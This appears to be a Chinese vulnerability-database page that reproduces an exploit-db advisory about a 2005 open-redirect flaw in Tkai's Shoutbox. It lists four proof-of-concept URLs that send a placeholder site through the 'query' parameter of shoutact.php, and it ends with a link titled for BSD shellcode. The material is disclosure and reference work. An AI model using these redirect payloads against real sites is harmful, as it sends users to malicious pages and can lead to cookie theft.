Tkai’s Shoutbox – ‘Query’ Open Redirection

漏洞ID	1054979	漏洞类型
发布时间	2005-03-28	更新时间	2005-03-28
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	PHP	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/25299

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/12914/info

Tkai's Shoutbox is reported prone to a remote URI redirection vulnerability.

It is reported that an attacker can exploit this issue by supplying the URI of a malicious site through the 'query' parameter of a link.

A successful attack may result in various attacks including theft of cookie based authentication credentials.

/shoutact.php?yousay=default&query=http://www.example.com

/shoutact.php?yousay=default&name=default&query=http://www.example.com

/shoutact.php?yousay=default&email=default&query=http://www.example.com

/shoutact.php?yousay=default&email=default&name=default&query=www.example.com

相关推荐: BSD/x86 – execve(/bin/sh) + Encoded Shellcode (57 bytes)

BSD/x86 – execve(/bin/sh) + Encoded Shellcode (57 bytes) 漏洞ID 1054684 漏洞类型发布时间 2004-09-26 更新时间 2004-09-26 CVE编号 N/A CNNVD-ID N/A …